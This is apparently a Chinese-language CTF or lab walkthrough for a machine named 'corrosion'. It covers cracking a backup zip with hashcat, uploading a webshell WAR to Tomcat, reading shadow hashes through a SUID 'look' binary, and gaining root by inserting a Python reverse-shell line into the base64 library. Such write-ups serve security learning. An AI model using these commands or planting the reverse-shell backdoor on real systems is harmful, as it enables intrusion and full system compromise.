15. corrosion
WEB
扫全端口。
发现80 端口 apache2 默认页面
8080 端口是 tomcat 的页面
分别扫两个站点的目录,但是 80 端口没有什么东西,8080端口有以下内容。
backup.zip 很瞩目,值得一看。此外 readme.txt 发现以下内容
压缩包下载下来发现需要密码。
使用 hashcat 进行破解。rockyou.txt 这个字典包含了 3 kw 左右的常用密码。rockyou/rockyou.txt.tar.gz at master · zacheller/rockyou · GitHub
zip2john backup.zip > zip.john
# 去掉无用的前后缀
hashcat -m 17220 -a 0 zip.john dict/password/rockyou.txt
去掉 zip.john 中无用的前后缀,以便可以被 hashcat 识别
根据hash 内容可知,应选择 17220
最终密码 @administrator_hi5
解压后有以下文件,最值得注意的就是 tomcat 的凭证
使用凭证登录到 tomcat 后台,上传 war 包
webshell/webshell.war at master · BustedSec/webshell · GitHub
java runtime exec 命令需要进行编码
java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
进行执行,成功获得 webshell
提权
利用获取的密码尝试密码喷洒
浏览其家目录文件,发现 look 命令。具有 s 权限。
用它查看 shadow 密码。
使用 hashcat 进行破解
hashcat -m 1800 -a 0 zip.john dict/password/rockyou.txt -o pass
成功破解 randy 用户口令。
使用 ssh 切换到 randy 用户
发现其可以以 root 用户执行 python 脚本。
那就直接往base64 库里面写后门。搜索base64 库文件,结合 python 版本,可知应该修改最后一个。
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.200.128",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
将这段代码插入到 base64 库中。
监听端口,进行执行
成功获取 root